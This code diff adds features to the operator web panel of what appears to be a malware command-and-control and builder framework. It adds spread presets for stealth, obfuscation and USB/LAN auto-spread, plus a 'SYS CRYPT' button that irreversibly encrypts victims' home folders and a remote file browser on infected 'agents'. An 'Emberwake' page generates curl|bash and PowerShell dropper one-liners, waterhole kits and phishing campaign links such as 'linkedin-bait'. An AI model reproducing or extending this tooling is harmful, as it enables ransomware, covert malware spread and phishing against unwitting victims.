+    expect(parsed?.path).toBe('/home/alice');
+    expect(parsed?.entries).toHaveLength(1);
+  });
+
+  it('defaultBrowseRoot returns empty for agent home resolution', () => {
+    expect(defaultBrowseRoot('windows')).toBe('');
+    expect(defaultBrowseRoot('linux')).toBe('');
+  });
+
+  it('joinRemotePath handles unix parent', () => {
+    expect(joinRemotePath('/home/alice/docs', '..')).toBe('/home/alice');
+    expect(joinRemotePath('/home/alice/docs', 'file.txt')).toBe('/home/alice/docs/file.txt');
+  });
+
+  it('joinRemotePath handles windows parent', () => {
+    expect(joinRemotePath('C:\\Users\\alice', '..')).toBe('C:\\Users');
+    expect(joinRemotePath('C:\\Users\\alice', 'Desktop')).toBe('C:\\Users\\alice\\Desktop');
+  });
+
+  it('pathBreadcrumbs splits mixed separators', () => {
+    expect(pathBreadcrumbs('/var/log')).toEqual(['var', 'log']);
+    expect(pathBreadcrumbs('C:\\Users\\bob')).toEqual(['C:', 'Users', 'bob']);
+  });
+});
--- a/server/web/src/help/remoteDirBrowser.ts
+++ b/server/web/src/help/remoteDirBrowser.ts
@@ -0,0 +1,55 @@
+export interface DirEntry {
+  name: string;
+  is_dir: boolean;
+  size: number;
+}
+
+export interface ListDirResult {
+  path: string;
+  home_dir?: string;
+  platform?: string;
+  entries: DirEntry[];
+}
+
+export function parseListDirMessage(message: string): ListDirResult | null {
+  try {
+    const j = JSON.parse(message) as ListDirResult;
+    if (j.entries && Array.isArray(j.entries)) {
+      return {
+        path: j.path ?? '',
+        home_dir: j.home_dir,
+        platform: j.platform,
+        entries: j.entries,
+      };
+    }
+  } catch {
+    /* not JSON */
+  }
+  return null;
+}
+
+/** Initial browse path sent to the agent (empty → agent home). */
+export function defaultBrowseRoot(_platform?: string): string {
+  return '';
+}
+
+export function joinRemotePath(cwd: string, name: string): string {
+  const sep = cwd.includes('/') ? '/' : '\\';
+  if (name === '..') {
+    const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/).filter(Boolean);
+    parts.pop();
+    if (parts.length === 0) {
+      return sep === '/' ? '/' : 'C:\\';
+    }
+    const joined = parts.join(sep);
+    if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
+      return parts[0] + ':\\';
+    }
+    return (cwd.startsWith('/') ? '/' : '') + joined;
+  }
+  return cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
+}
+
+export function pathBreadcrumbs(cwd: string): string[] {
+  return cwd.split(/[/\\]/).filter(Boolean);
+}
--- a/server/web/src/help/spreadProfiles.ts
+++ b/server/web/src/help/spreadProfiles.ts
@@ -0,0 +1,88 @@
+import type { BuildRequest } from '../types';
+
+export type SpreadProfileId = 'web_drop' | 'desktop_fusion' | 'lan_kindling' | 'crucible_ops';
+
+export interface SpreadProfile {
+  id: SpreadProfileId;
+  label: string;
+  color: string;
+  blurb: string;
+  apply: (form: BuildRequest) => BuildRequest;
+}
+
+export const SPREAD_PROFILES: SpreadProfile[] = [
+  {
+    id: 'web_drop',
+    label: 'Web Drop',
+    color: '#3dd6c6',
+    blurb: 'Headless Linux — small, systemd, no screenshot, minimal spread',
+    apply: (f) => ({
+      ...f,
+      target_os: 'linux',
+      target_arch: 'amd64',
+      spread_kit: false,
+      fusion_enabled: false,
+      stealth_mode: true,
+      file_logging: false,
+      remote_aggressive: false,
+      auto_spread: false,
+      usb_spread: false,
+      share_spread: false,
+      run_as: 'service',
+      autostart_mode: 'boot_task',
+    }),
+  },
+  {
+    id: 'desktop_fusion',
+    label: 'Desktop Fusion',
+    color: '#f0abfc',
+    blurb: 'Big stealth fusion — garble on, visible UI off',
+    apply: (f) => ({
+      ...f,
+      target_os: 'universal',
+      target_arch: 'all',
+      spread_kit: false,
+      fusion_enabled: true,
+      stealth_mode: true,
+      display_mode: 'background',
+      obfuscate: true,
+      remote_aggressive: false,
+      auto_spread: false,
+    }),
+  },
+  {
+    id: 'lan_kindling',
+    label: 'LAN Kindling',
+    color: '#ff6b2c',
+    blurb: 'Universal spread kit + autospread for LAN/USB',
+    apply: (f) => ({
+      ...f,
+      target_os: 'universal',
+      target_arch: 'all',
+      spread_kit: true,
+      fusion_enabled: false,
+      stealth_mode: true,
+      auto_spread: true,
+      usb_spread: true,
+      share_spread: true,
+      remote_aggressive: false,
+    }),
+  },
+  {
+    id: 'crucible_ops',
+    label: 'Crucible Ops',
+    color: '#c9a227',
+    blurb: 'Aggressive remote ops enabled for Crucible',
+    apply: (f) => ({
+      ...f,
+      remote_aggressive: true,
+      hole_punch: true,
+      auto_spread: false,
+    }),
+  },
+];
+
+export function applySpreadProfile(form: BuildRequest, id: SpreadProfileId): BuildRequest {
+  const profile = SPREAD_PROFILES.find((p) => p.id === id);
+  return profile ? profile.apply(form) : form;
+}
--- a/server/web/src/pages/BuildManagerPage.css
+++ b/server/web/src/pages/BuildManagerPage.css
@@ -40,6 +40,10 @@
 .bm-loading {
  padding: 2rem;
  text-align: center;
+  border: 1px solid var(--border-brass);
+  border-radius: 2px;
+  background: rgba(8, 6, 4, 0.45);
+  box-shadow: var(--shadow-panel);
 }

 /* ── card grid ── */
--- a/server/web/src/pages/BuilderPage.tsx
+++ b/server/web/src/pages/BuilderPage.tsx
@@ -42,6 +42,7 @@ import {
  defaultRunnerName,
  defaultEmbeddedName,
 } from '../help/fusionMedia';
+import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
 import './Pages.css';

 export function formatBytes(n: number): string {
@@ -158,6 +159,7 @@ export default function BuilderPage() {
  const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
  const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
  const fusionPrepRef = useRef<HTMLDivElement>(null);
+  const [spreadProfile, setSpreadProfile] = useState<SpreadProfileId | ''>('');

  // Drive simulated stage progress while a single build is running
  useEffect(() => {
@@ -1025,6 +1027,7 @@ export default function BuilderPage() {

        <div className="card builder-form">
          {simpleMode ? (
+            <>
            <div className="forge-simple-banner card">
              <p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
              <p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
@@ -1032,6 +1035,30 @@ export default function BuilderPage() {
                Reset to recommended defaults
              </button>
            </div>
+            <div className="form-group" style={{ marginBottom: '1rem' }}>
+              <label className="label">Spread profile presets</label>
+              <div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
+                {SPREAD_PROFILES.map((p) => (
+                  <button
+                    key={p.id}
+                    type="button"
+                    className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
+                    style={{ borderColor: spreadProfile === p.id ? p.color : undefined, color: spreadProfile === p.id ? p.color : undefined }}
+                    title={p.blurb}
+                    onClick={() => {
+                      setSpreadProfile(p.id);
+                      if (form) setForm(applySpreadProfile(form, p.id));
+                    }}
+                  >
+                    {p.label}
+                  </button>
+                ))}
+              </div>
+              {spreadProfile && (
+                <p className="form-hint">{SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb}</p>
+              )}
+            </div>
+            </>
          ) : (
            <div className="forge-rules-banner">
              <h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
--- a/server/web/src/pages/CruciblePage.css
+++ b/server/web/src/pages/CruciblePage.css
@@ -486,6 +486,145 @@

 .cop-shell { grid-column: 1 / -1; }

+.cop-network { grid-column: 1 / -1; border-color: rgba(58, 134, 255, 0.2); }
+.cop-network .cop-label { color: rgba(58, 134, 255, 0.8); border-bottom-color: rgba(58, 134, 255, 0.14); }
+.cop-network .crucible-op-btn {
+  border-color: rgba(58, 134, 255, 0.28);
+  color: rgba(120, 180, 255, 0.95);
+}
+.cop-network .crucible-op-btn:hover:not(:disabled) {
+  background: rgba(58, 134, 255, 0.1);
+  border-color: #3a86ff;
+  box-shadow: 0 0 9px -2px rgba(58, 134, 255, 0.4);
+}
+
+.cop-persist { border-color: rgba(255, 45, 166, 0.18); }
+.cop-persist .cop-label { color: rgba(255, 45, 166, 0.75); border-bottom-color: rgba(255, 45, 166, 0.12); }
+.cop-persist .crucible-op-btn {
+  border-color: rgba(255, 45, 166, 0.28);
+  color: rgba(255, 120, 200, 0.95);
+}
+
+.cop-maint { grid-column: 1 / -1; border-color: rgba(0, 212, 170, 0.2); }
+.cop-maint .cop-label { color: rgba(0, 212, 170, 0.8); border-bottom-color: rgba(0, 212, 170, 0.14); }
+
+.crucible-op-collapsible .cop-toggle {
+  width: 100%;
+  display: flex;
+  align-items: center;
+  justify-content: space-between;
+  background: none;
+  border: none;
+  padding: 0;
+  cursor: pointer;
+  text-align: left;
+}
+.crucible-op-collapsible .cop-toggle .cop-label {
+  border-bottom: none;
+  margin-bottom: 0;
+  padding-bottom: 0;
+}
+.crucible-op-collapsible .cop-chevron {
+  font-size: 0.65rem;
+  color: var(--text-muted);
+}
+.crucible-op-collapsible .cop-body {
+  width: 100%;
+  display: flex;
+  flex-wrap: wrap;
+  gap: 0.35rem;
+  padding-top: 0.45rem;
+}
+
+.crucible-inline-row,
+.crucible-camera-row,
+.crucible-upgrade-row {
+  width: 100%;
+  display: flex;
+  flex-wrap: wrap;
+  gap: 0.35rem;
+  align-items: center;
+}
+.crucible-inline-input,
+.crucible-inline-select {
+  flex: 1;
+  min-width: 120px;
+  padding: 0.3rem 0.5rem;
+  background: #0d0d1a;
+  border: 1px solid #333;
+  color: #ddd;
+  border-radius: 3px;
+  font-family: var(--font-tech);
+  font-size: 0.78rem;
+}
+.crucible-registry-panel {
+  width: 100%;
+  display: flex;
+  flex-direction: column;
+  gap: 0.35rem;
+}
+.crucible-op-active {
+  background: rgba(0, 245, 255, 0.12) !important;
+  border-color: var(--neon-cyan) !important;
+  color: var(--neon-cyan) !important;
+}
+.crucible-op-soon {
+  opacity: 0.45 !important;
+  font-size: 0.72rem !important;
+}
+.crucible-coming-soon-row {
+  width: 100%;
+  display: flex;
+  flex-wrap: wrap;
+  gap: 0.35rem;
+  padding-top: 0.25rem;
+  border-top: 1px dashed rgba(255, 255, 255, 0.08);
+  margin-top: 0.25rem;
+}
+
+.crucible-portfwd-matrix {
+  width: 100%;
+  margin-top: 0.35rem;
+}
+
+.crucible-portfwd-body {
+  margin-top: 0.4rem;
+  padding: 0.5rem;
+  border: 1px solid rgba(255, 255, 255, 0.08);
+  border-radius: 6px;
+  background: rgba(0, 0, 0, 0.25);
+}
+
+.crucible-portfwd-grid {
+  display: flex;
+  flex-direction: column;
+  gap: 0.35rem;
+}
+
+.crucible-portfwd-row {
+  display: grid;
+  grid-template-columns: 5rem 1fr 6rem 2rem;
+  gap: 0.35rem;
+  align-items: center;
+}
+
+.crucible-portfwd-head {
+  font-size: 0.62rem;
+  letter-spacing: 0.08em;
+  color: var(--text-muted);
+  text-transform: uppercase;
+}
+
+.crucible-phase-c-row {
+  width: 100%;
+  display: flex;
+  flex-wrap: wrap;
+  gap: 0.35rem;
+  padding-top: 0.35rem;
+  border-top: 1px dashed rgba(255, 255, 255, 0.08);
+  margin-top: 0.35rem;
+}
+
 /* ── Op buttons ──────────────────────────────────────────────────────── */

 .crucible-op-btn {
--- a/server/web/src/pages/CruciblePage.tsx
+++ b/server/web/src/pages/CruciblePage.tsx
@@ -14,7 +14,9 @@ import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
 import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
 import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
 import FileManager from '../components/Fleet/FileManager';
+import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
 import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
+import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
 import '../components/Fleet/FullSysCheckPanel.css';
 import '../components/Fleet/ProtocolTunnelPanel.css';
 import './CruciblePage.css';
@@ -365,6 +367,28 @@ export default function CruciblePage() {

  const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;

+  const encryptTargets = useMemo(
+    () => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })),
+    [selectedAgents]
+  );
+
+  const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null;
+
+  const appendTerminalLine = useCallback((text: string, isCmd = false) => {
+    setTermLines((prev) => [
+      ...prev,
+      {
+        id: mkId(),
+        agentId: 'local',
+        agentName: 'YOU',
+        isCmd,
+        text,
+        ts: new Date(),
+        targeted: true,
+      },
+    ].slice(-2000));
+  }, []);
+
  /** One online target selected — sidebar matrix switches to gold forge-style rain. */
  const crucibleTargetReady =
    selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
@@ -1153,6 +1177,29 @@ export default function CruciblePage() {
              </button>
            </div>

+            <CrucibleExpandedOps
+              selectedAgents={selectedAgents}
+              selectedCount={selectedIds.size}
+              singleSelectedAgent={singleSelectedAgent}
+              commandResults={commandResults}
+              onEcho={appendTerminalLine}
+              onAgentError={(agentId, agentName, action, err) => {
+                setTermLines((prev) => [
+                  ...prev,
+                  {
+                    id: mkId(),
+                    agentId,
+                    agentName,
+                    isCmd: false,
+                    text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`,
+                    ts: new Date(),
+                    success: false,
+                    targeted: true,
+                  },
+                ]);
+              }}
+            />
+
            {/* ── SSH ──────────────────────────────────────── */}
            <div className="crucible-op-group cop-ssh">
              <span className="cop-label">SSH</span>
@@ -1239,13 +1286,13 @@ export default function CruciblePage() {
              </button>
            </div>

-            {/* ── Sys Crypt ────────────────────────────────── */}
+            {/* ── Sys Crypt + remote browser ───────────────── */}
            <div className="crucible-op-group cop-destructive">
              <span className="cop-label">⚠ Destructive</span>
              <button
                className="button crucible-op-btn"
                disabled={selectedIds.size === 0}
-                title="AES-256-GCM encrypt every file in the target's Documents folder (Windows only, requires Remote Aggressive Ops)"
+                title="AES-256-GCM encrypt every file in Documents/home (legacy shortcut; requires Remote Aggressive Ops)"
                style={{
                  background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
                  border: '1px solid #ff2222',
@@ -1254,7 +1301,7 @@ export default function CruciblePage() {
                  letterSpacing: '0.06em',
                }}
                onClick={() => {
-                  if (!confirm(`SYS CRYPT — encrypt Documents on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
+                  if (!confirm(`SYS CRYPT — encrypt Documents/home on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
                  Promise.all(
                    selectedAgents.filter(online).map((a) =>
                      api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
@@ -1269,19 +1316,29 @@ export default function CruciblePage() {
                      })
                    )
                  );
-                  setTermLines((prev) => [
-                    ...prev,
-                    {
-                      id: mkId(), agentId: 'local', agentName: 'YOU',
-                      isCmd: true,
-                      text: `SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents`,
-                      ts: new Date(),
-                    },
-                  ]);
+                  appendTerminalLine(`SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents/home`, true);
                }}
              >
                🔒 SYS CRYPT ({selectedIds.size})
              </button>
+              {browseAgent && selectedIds.size > 0 ? (
+                <>
+                  {selectedIds.size > 1 && (
+                    <p className="form-hint" style={{ margin: '0.35rem 0 0', fontSize: '0.72rem' }}>
+                      Browsing {browseAgent.name} only — Encrypt applies to all {encryptTargets.length} online selection(s).
+                    </p>
+                  )}
+                  <RemoteDirBrowser
+                    agentId={browseAgent.id}
+                    agentName={browseAgent.name}
+                    platform={browseAgent.platform}
+                    online={online(browseAgent)}
+                    encryptTargets={encryptTargets}
+                    commandResults={fmCommandResults}
+                    onTerminalLine={appendTerminalLine}
+                  />
+                </>
+              ) : null}
            </div>

            {/* ── SUPP Seek Mode ───────────────────────────── */}
--- a/server/web/src/pages/EmberwakePage.css
+++ b/server/web/src/pages/EmberwakePage.css
@@ -0,0 +1,51 @@
+.emberwake-page .spread-section {
+  margin-bottom: 1.5rem;
+  padding: 1rem 1.25rem;
+  border-radius: 8px;
+  border: 1px solid #2a3040;
+  background: linear-gradient(135deg, #12161f 0%, #0d1018 100%);
+}
+
+.emberwake-page .spread-section h3 {
+  margin: 0 0 0.5rem;
+  font-size: 1rem;
+}
+
+.emberwake-page .spread-section--cyan { border-left: 4px solid #3dd6c6; }
+.emberwake-page .spread-section--ember { border-left: 4px solid #ff6b2c; }
+.emberwake-page .spread-section--gold { border-left: 4px solid #c9a227; }
+.emberwake-page .spread-section--violet { border-left: 4px solid #a78bfa; }
+
+.emberwake-tool-grid {
+  display: grid;
+  gap: 0.75rem;
+  grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
+}
+
+.emberwake-notes {
+  min-height: 120px;
+  width: 100%;
+  font-family: ui-monospace, monospace;
+  font-size: 0.85rem;
+}
+
+.emberwake-campaign-list {
+  list-style: none;
+  margin: 0;
+  padding: 0;
+}
+
+.emberwake-campaign-list li {
+  display: flex;
+  justify-content: space-between;
+  padding: 0.35rem 0;
+  border-bottom: 1px solid #222a38;
+  font-size: 0.85rem;
+}
+
+.emberwake-ab-row {
+  display: flex;
+  gap: 0.5rem;
+  flex-wrap: wrap;
+  align-items: center;
+}
--- a/server/web/src/pages/EmberwakePage.tsx
+++ b/server/web/src/pages/EmberwakePage.tsx
@@ -0,0 +1,238 @@
+import { useCallback, useEffect, useMemo, useState } from 'react';
+import { api } from '../api/client';
+import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
+import {
+  combinedDropperQuery,
+  commandOneliner,
+  ps1Oneliner,
+  publicDownloadUrl,
+  shOneliner,
+} from '../help/emberwake';
+import { useWebSocket } from '../hooks/useWebSocket';
+import './Pages.css';
+import './EmberwakePage.css';
+
+function CopyChip({ text, label }: { text: string; label: string }) {
+  const [ok, setOk] = useState(false);
+  const copy = () => {
+    void navigator.clipboard.writeText(text).then(() => {
+      setOk(true);
+      setTimeout(() => setOk(false), 1500);
+    });
+  };
+  return (
+    <button type="button" className="btn btn-outline btn-sm" onClick={copy}>
+      {ok ? 'Copied' : label}
+    </button>
+  );
+}
+
+export default function EmberwakePage() {
+  const { latestMessage } = useWebSocket();
+  const [builds, setBuilds] = useState<BuildRecord[]>([]);
+  const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
+  const [serverBase, setServerBase] = useState('');
+  const [campaign, setCampaign] = useState('linkedin-bait');
+  const [pinA, setPinA] = useState('');
+  const [pinB, setPinB] = useState('');
+  const [notes, setNotes] = useState('');
+  const [notesMeta, setNotesMeta] = useState('');
+  const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
+  const [exportBusy, setExportBusy] = useState(false);
+  const [notesBusy, setNotesBusy] = useState(false);
+
+  const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
+  const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
+  const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
+
+  const load = useCallback(async () => {
+    const [b, info, cfg, pub, camp, n] = await Promise.all([
+      api.listBuilds(),
+      api.getServerInfo(),
+      api.getConfig(),
+      api.listPublicBuilds(),
+      api.listCampaignHits(),
+      api.getEmberwakeNotes(),
+    ]);
+    setBuilds(b);
+    const pubUrl = cfg.server?.public_url?.trim();
+    setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
+    setPublicBuilds(pub.builds);
+    setCampaigns(camp.campaigns);
+    setNotes(n.content);
+    setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
+    if (!pinA) {
+      const p = b.find((x) => x.pinned);
+      if (p) setPinA(p.id);
+    }
+    if (!pinB && b.length > 1) {
+      const alt = b.find((x) => !x.pinned) ?? b[1];
+      if (alt) setPinB(alt.id);
+    }
+  }, [pinA, pinB]);
+
+  useEffect(() => {
+    void load().catch(() => {});
+  }, [load]);
+
+  useEffect(() => {
+    if (latestMessage?.type !== 'emberwake_notes_updated') return;
+    const p = latestMessage.payload as EmberwakeNotes;
+    if (p && typeof p.content === 'string') {
+      setNotes(p.content);
+      setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
+    }
+  }, [latestMessage]);
+
+  const saveNotes = async () => {
+    setNotesBusy(true);
+    try {
+      const n = await api.putEmberwakeNotes(notes);
+      setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
+    } finally {
+      setNotesBusy(false);
+    }
+  };
+
+  const exportKit = async () => {
+    setExportBusy(true);
+    try {
+      await api.exportSpreadKit({
+        build_id: pinA || pinned[0]?.id || '',
+        server_url: serverBase,
+        campaign,
+      });
+    } finally {
+      setExportBusy(false);
+    }
+  };
+
+  return (
+    <div className="page emberwake-page">
+      <header className="deck-hero">
+        <div className="deck-hero-text">
+          <p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
+          <h1>Emberwake</h1>
+          <p className="page-subtitle">
+            Carry embers from the forge — web waterholes, CMS uploads, curl|bash VPS drops, fusion media, USB, and LAN spread.
+          </p>
+        </div>
+      </header>
+
+      <div className="spread-section spread-section--ember">
+        <h3>How to spread</h3>
+        <ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
+          <li><strong>Web waterhole</strong> — export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
+          <li><strong>curl | bash VPS</strong> — paste one-liners below on a headless server session.</li>
+          <li><strong>Fusion media</strong> — forge Desktop Fusion profile, seed USB or shared folders.</li>
+          <li><strong>LAN kindling</strong> — universal spread kit + autospread; deploy.bat on reachable hosts.</li>
+          <li><strong>A/B droppers</strong> — pin build A vs B; rotate campaign links between waves.</li>
+        </ul>
+      </div>
+
+      <div className="card" style={{ marginBottom: '1rem' }}>
+        <h2>Campaign builder</h2>
+        <div className="form-group">
+          <label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
+          <input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
+        </div>
+        <div className="emberwake-ab-row" style={{ marginBottom: '0.75rem' }}>
+          <label className="label">Build A (pin)</label>
+          <select className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
+            <option value="">Latest / pinned</option>
+            {builds.map((b) => (
+              <option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
+            ))}
+          </select>
+          <label className="label">Build B (A/B)</label>
+          <select className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
+            <option value="">—</option>
+            {builds.map((b) => (
+              <option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
+            ))}
+          </select>
+        </div>
+        <div className="emberwake-tool-grid">
+          <div>
+            <p className="form-hint">PowerShell</p>
+            <code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{ps1Oneliner(serverBase, query)}</code>
+            <CopyChip text={ps1Oneliner(serverBase, query)} label="Copy PS1" />
+          </div>
+          <div>
+            <p className="form-hint">bash</p>
+            <code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{shOneliner(serverBase, query)}</code>
+            <CopyChip text={shOneliner(serverBase, query)} label="Copy sh" />
+          </div>
+          <div>
+            <p className="form-hint">macOS</p>
+            <code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{commandOneliner(serverBase, query)}</code>
+            <CopyChip text={commandOneliner(serverBase, query)} label="Copy .command" />
+          </div>
+        </div>
+        {pinB && (
+          <p className="form-hint" style={{ marginTop: '0.75rem' }}>
+            A/B link B: <code>{serverBase}/get{queryB}</code>
+            <CopyChip text={`${serverBase}/get${queryB}`} label="Copy B" />
+          </p>
+        )}
+      </div>
+
+      <div className="spread-section spread-section--cyan">
+        <h3>Spread kit export</h3>
+        <p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
+        <div className="emberwake-ab-row">
+          <input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
+          <button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
+            {exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
+          </button>
+        </div>
+      </div>
+
+      <div className="spread-section spread-section--gold">
+        <h3>Public build URLs</h3>
+        <p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate → public builds enabled).</p>
+        <ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
+          {(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
+            <li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
+              <strong>{b.worker_name}</strong> ({b.platform})
+              {' — '}
+              <a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
+                public download
+              </a>
+              <CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
+            </li>
+          ))}
+        </ul>
+      </div>
+
+      {campaigns.length > 0 && (
+        <div className="spread-section spread-section--violet">
+          <h3>Campaign hits</h3>
+          <ul className="emberwake-campaign-list">
+            {campaigns.map((c) => (
+              <li key={c.campaign}>
+                <span><code>{c.campaign}</code></span>
+                <span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
+              </li>
+            ))}
+          </ul>
+        </div>
+      )}
+
+      <div className="card">
+        <h2>Shared notes</h2>
+        <p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
+        <textarea
+          className="input emberwake-notes"
+          rows={6}
+          value={notes}
+          onChange={(e) => setNotes(e.target.value)}
+          placeholder="Paste lure copy, host paths, rotation schedule…"
+        />
+        <button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
+          {notesBusy ? 'Saving…' : 'Save notes'}
+        </button>
+      </div>
+    </div>
+  );
+}
--- a/server/web/src/pages/Pages.css
+++ b/server/web/src/pages/Pages.css
@@ -442,13 +442,15 @@
 }

 .form-section {
-  margin-bottom: 1.5rem;
-  padding-bottom: 1.5rem;
-  border-bottom: 1px solid var(--border-color);
+  margin-bottom: 1.25rem;
+  padding: 1rem 1.1rem 1.25rem;
+  border: 1px solid var(--border-dim);
+  border-radius: 2px;
+  background: rgba(8, 6, 4, 0.35);
 }

 .form-section:last-of-type {
-  border-bottom: none;
+  margin-bottom: 0;
 }

 .form-section h3 {
@@ -560,8 +562,9 @@

 .build-item {
  padding: 0.75rem;
-  background: var(--bg-secondary);
-  border-radius: 8px;
+  background: rgba(8, 6, 4, 0.55);
+  border: 1px solid var(--border-brass);
+  border-radius: 2px;
 }

 .build-item-name {
@@ -1329,6 +1332,12 @@ button.deliverable-card .form-hint {
  border: 1px solid rgba(212, 175, 55, 0.25);
 }

+.fusion-estimate-panel {
+  padding: 1rem 1.1rem;
+  margin-top: 0.75rem;
+  border: 1px solid rgba(212, 175, 55, 0.28);
+}
+
 .batch-forge-header {
  display: flex;
  justify-content: space-between;
--- a/server/web/src/pages/PathTracerPage.css
+++ b/server/web/src/pages/PathTracerPage.css
@@ -394,10 +394,11 @@
 }

 .pt-section-panel {
-  background: rgba(0,0,0,0.25);
-  border: 1px solid rgba(0,255,170,0.08);
-  border-radius: 10px;
+  background: rgba(8, 6, 4, 0.45);
+  border: 1px solid var(--border-brass);
+  border-radius: 2px;
  padding: 1rem;
+  box-shadow: var(--shadow-panel);
 }

 /* Spinner */
--- a/server/web/src/pages/SettingsPage.test.tsx
+++ b/server/web/src/pages/SettingsPage.test.tsx
@@ -6,6 +6,7 @@ import { cleanup, render, screen, waitFor, within } from '@testing-library/react
 import userEvent from '@testing-library/user-event';
 import SettingsPage, { deepMerge } from './SettingsPage';
 import { SoundProvider } from '../context/SoundContext';
+import { AmbientMusicProvider } from '../context/AmbientMusicContext';
 import { mockServerConfig, mockServerInfo } from '../test/fixtures';
 import { api } from '../api/client';
 import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
@@ -13,7 +14,9 @@ import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
 function renderSettings() {
  return render(
    <SoundProvider>
-      <SettingsPage />
+      <AmbientMusicProvider>
+        <SettingsPage />
+      </AmbientMusicProvider>
    </SoundProvider>
  );
 }
--- a/server/web/src/pages/SettingsPage.tsx
+++ b/server/web/src/pages/SettingsPage.tsx
@@ -19,6 +19,8 @@ import NeonCard from '../components/NeonCard/NeonCard';
 import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
 import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
 import { useSound } from '../context/SoundContext';
+import { useAmbientMusic } from '../context/AmbientMusicContext';
+import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic';
 import { useVisualEffects } from '../context/VisualEffectsContext';
 import './Pages.css';

@@ -46,7 +48,19 @@ export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
 }

 export default function SettingsPage() {
-  const { enabled: sfxEnabled, volume: sfxVolume, setEnabled: setSfxEnabled, setVolume: setSfxVolume, preview: previewSfx } = useSound();
+  const {
+    enabled: sfxEnabled,
+    volume: sfxVolume,
+    hoverEnabled,
+    hoverVolume,
+    setEnabled: setSfxEnabled,
+    setVolume: setSfxVolume,
+    setHoverEnabled,
+    setHoverVolume,
+    preview: previewSfx,
+    previewHover,
+  } = useSound();
+  const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic();
  const { glowParticles, setGlowParticles } = useVisualEffects();
  const [config, setConfig] = useState<ServerConfig | null>(null);
